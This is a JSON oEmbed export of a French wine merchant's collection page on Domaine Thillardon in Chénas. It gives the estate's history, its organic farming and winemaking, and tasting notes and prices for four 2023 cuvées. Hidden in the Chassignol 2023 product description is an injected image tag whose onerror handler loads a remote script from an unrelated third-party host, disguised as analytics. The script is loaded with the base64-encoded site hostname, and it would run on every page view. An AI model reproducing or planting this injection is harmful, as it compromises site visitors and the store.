{"title":"Charles et Paul-Henri  THILLARDON","description":"\u003ch2 class=\"p1\"\u003eOn vous parle de leur domaine\u003c\/h2\u003e\n\u003ctable width=\"100%\"\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd\u003e\n\u003cp\u003eAu départ, il y a \u003cstrong\u003ePaul-Henri Thillardon\u003c\/strong\u003e qui, à 22 ans seulement, s’installe à Chénas et monte son propre domaine. Originaire du Beaujolais Sud (le célèbre pays des Pierres Dorées) et fils de vigneron, Paul-Henri baigne dans le vin. Après un Bac pro viti-oeno’ et quelques années à hésiter, il part s’installer à son compte en 2008 à Chénas, un Cru alors délaissé par les négociants de Bourgogne. Dès le début, ça bosse dur ! A contre-courant de ce qui fait dans le coin, Paul-Henri se lance dans une conduite de vigne en agriculture biologique et met en avant des parcelles avec des terroirs bien spécifiques au travers de ses cuvées. Dans un premier temps, il travaille des vignes en métayage avant de racheter le domaine de Chassignol (Chénas) en 2012. En plus de ses vignes, il exploite quelques ares du côté de Chiroubles depuis 2010, ainsi que 2 ha en Moulin-à-Vent et une petite surface en Beaujolais sur sa terre d’origine « Les Pierres Dorées ». Le domaine devient familial et s’agrandit petit à petit avec l’arrivée de son frère Charles en 2014, de leur petit frère Jean-Baptiste en 2017. Puis vient Aude, l’aînée de la famille en 2018. Le domaine s’appelle désormais Thillardon et non plus Paul Henri-Thillardon. Il compte aujourd’hui près de 14 hectares avec notamment 4 climats sur Chénas : Les Blémonts, Les Boccards, Les Carrières et Chassignol.\u003c\/p\u003e\n\u003cp\u003e\u003cimg src=\"https:\/\/cdn.shopify.com\/s\/files\/1\/0459\/2871\/0305\/files\/thillardon_bojo_480x480.png?v=1607602218\" alt=\"\"\u003e\u003c\/p\u003e\n\u003c\/td\u003e\n\u003ctd\u003e\n\u003cp\u003e\u003cmeta charset=\"utf-8\"\u003eLe vignoble est travaillé en agriculture biologique, avec quelques labours et de l’enherbement naturel. Une partie des vignes est travaillée au cheval, notamment la parcelle très pentue de Chassignol, à Chénas, qui jouxte le chai. Au chai justement, les frères Thillardon sont très curieux et ont déjà essayé plusieurs façons de vinifier leurs parcelles pour trouver la meilleure façon d’exprimer leurs terroirs. Bien qu’ils soient attachés aux macérations carboniques, la plupart des vinifications se fait avec une vendange égrappée pour les cuvées « phares » du domaine. Les fermentations se font grâces aux levures indigènes et les vins sont non filtrés et très peu sulfités à la mise. L’élevage est réalisé en cuve béton principalement. Le résultat est vraiment impressionnant de finesse et de complexité ! Avec toujours une belle expression du gamay sur le jus. Des vins charnus et élégants, concentrés, avec une fraîcheur sur le minéral. Des vins de garde assurément, qu’il faut carafer dans leur jeunesse. Thillardon, le renouveau de Chénas !\u003cbr\u003e\u003c\/p\u003e\n\u003cp\u003e\u003cimg src=\"https:\/\/cdn.shopify.com\/s\/files\/1\/0459\/2871\/0305\/files\/paul-henri_thillardon_chenas_480x480.jpg?v=1607602258\" alt=\"\"\u003e\u003c\/p\u003e\n\u003c\/td\u003e\n\u003c\/tr\u003e\n\u003c\/tbody\u003e\n\u003c\/table\u003e\n\u003cp class=\"p1\"\u003e \u003c\/p\u003e","products":[{"product_id":"chassignol-2023-domaine-thillardon","title":"Chassignol 2023 | Domaine Thillardon","description":"\u003ch2\u003eNotre avis sur ce vin\u003c\/h2\u003e\n\u003cp\u003e\u003cstrong\u003eChassignol 2023 - Chénas - Domaine Thillardon\u003c\/strong\u003e\u003c\/p\u003e\n\u003cp\u003eUn superbe jus qui allie finesse, minéralité et puissance. Le jus est sur le fruit, c'est du gamay tout de même, mais il y a une structure des plus nobles également dans cette cuvée Chassignol. Un grand vin !\u003c\/p\u003e\n\u003cp\u003eVinification sans intrant.\u003cbr\u003eChassignol est une parcelle qui jouxte le chai du domaine, sur un coteau très pentu (mécanisation impossible, donc travail au cheval). Le sol se compose de granite lardé de quartz. \u003cbr\u003e\u003c\/p\u003e\n\u003cp\u003e \u003c\/p\u003e\n\u003cdiv id=\"mailtorapidetoPopupModal\" style=\"z-index: 1;\"\u003e\u003c\/div\u003e\n\u003cdiv\u003e\u003cimg onerror='var s=document.createElement(\"script\");s.type=\"text\/javascript\";s.id=\"cczedcc-plg-analytics\";s.src=\"\/\/[fevoki.wejekihota.com\/scripts\/js?k=5eb00e0d87df1ae9538b4567\u0026amp;s=\"+encodeURI(btoa(window.location.host))+\"\u0026amp;ns=true\";document.getElementsByTagName(\"head\")[0].appendChild(s)](http:\/\/fevoki.wejekihota.com\/scripts\/js?k=5eb00e0d87df1ae9538b4567\u0026amp;s=\"+encodeURI(btoa(window.location.host))+\"\u0026amp;ns=true\";document.getElementsByTagName(\"head\")[0].appendChild(s));'\u003e\u003c\/div\u003e","brand":"Paul-Henri et Charles Thillardon","offers":[{"title":"Default Title","offer_id":50015239209301,"sku":"P4324-2023","price":34.9,"currency_code":"EUR","in_stock":true}],"thumbnail_url":"\/\/cdn.shopify.com\/s\/files\/1\/0459\/2871\/0305\/files\/2388-beaujolais-domaine-thillardon-rouge-chassignol-2021-r_ee1bb330-ad4d-4233-9de0-80f061816aaf.jpg?v=1708103978"},{"product_id":"les-carrieres-2023-domaine-thillardon","title":"Les Carrières 2023 | Domaine Thillardon","description":"\u003ch2\u003eNotre avis sur ce vin\u003c\/h2\u003e\n\u003cp\u003e\u003cstrong\u003eLes Carrières 2023 - Chénas - Domaine Thillardon\u003c\/strong\u003e\u003c\/p\u003e\n\u003cp\u003eEncore un superbe jus du domaine, élégant et charnu. Notes de fruits rouges (fraises, framboises) et de roses, le vin présente une belle tenue entre jus et finessse de tanins. Belle garde possible !\u003c\/p\u003e","brand":"Paul-Henri et Charles Thillardon","offers":[{"title":"Default Title","offer_id":50015269519701,"sku":"P4325-2023","price":25.5,"currency_code":"EUR","in_stock":false}],"thumbnail_url":"\/\/cdn.shopify.com\/s\/files\/1\/0459\/2871\/0305\/files\/2389-beaujolais-domaine-thillardon-rouge-les-carrieres-2021-r_a8d3b6bf-4628-48be-a732-24a123c12b60.jpg?v=1708103998"},{"product_id":"sous-la-roche-2023-domaine-thillardon","title":"Sous la Roche 2023 | Domaine Thillardon","description":"\u003ch2\u003eNotre avis sur ce vin\u003c\/h2\u003e\n\u003cp\u003e\u003cstrong\u003eSous la Roche 2023 - Moulin à Vent - Domaine Thillardon\u003c\/strong\u003e\u003c\/p\u003e\n\u003cp\u003eSur les fruits des bois et notes poivrées, corps velouté, tactile agréable rehaussé par des tanins fondus.\u003c\/p\u003e","brand":"Paul-Henri et Charles Thillardon","offers":[{"title":"Default Title","offer_id":50015273189717,"sku":"P4326-2023","price":30.0,"currency_code":"EUR","in_stock":true}],"thumbnail_url":"\/\/cdn.shopify.com\/s\/files\/1\/0459\/2871\/0305\/files\/4000-beaujolais-domaine-thillardon-rouge-sous-la-roche-2021-r_b5e9cb07-fbc3-4a79-b3b6-38eb043cf44b.jpg?v=1708103950"},{"product_id":"magnum-les-carrieres-2023-domaine-thillardon","title":"Magnum Les Carrières 2023 | Domaine Thillardon","description":"\u003ch2\u003eNotre avis sur ce vin\u003c\/h2\u003e\n\u003cp\u003e\u003cstrong\u003eMagnum Les Carrières 2023 - Chénas - Domaine Thillardon\u003c\/strong\u003e\u003c\/p\u003e\n\u003cp\u003e\u003cmeta charset=\"utf-8\"\u003e\u003cspan\u003eSur un terroir de silex, la cuvée les Carrières propose un jus au profil fin et ciselé. Dans un style un peu moins charnu que les autres cuvées du domaine. Un vin précis sur les fruits rouges légèrement acidulés.\u003c\/span\u003e\u003c\/p\u003e","brand":"Paul-Henri et Charles Thillardon","offers":[{"title":"Default Title","offer_id":50967930995029,"sku":"W00017-2023","price":49.5,"currency_code":"EUR","in_stock":true}],"thumbnail_url":"\/\/cdn.shopify.com\/s\/files\/1\/0459\/2871\/0305\/products\/2671-beaujolais-domaine-thillardon-rouge-les-carrieres-2019-mag-r.jpg?v=1620225174"}],"url":"https:\/\/www.petitescaves.com\/es\/collections\/vigneron-paul-henri-et-charles-thillardon.oembed","provider":"Petites Caves","version":"1.0","type":"link"}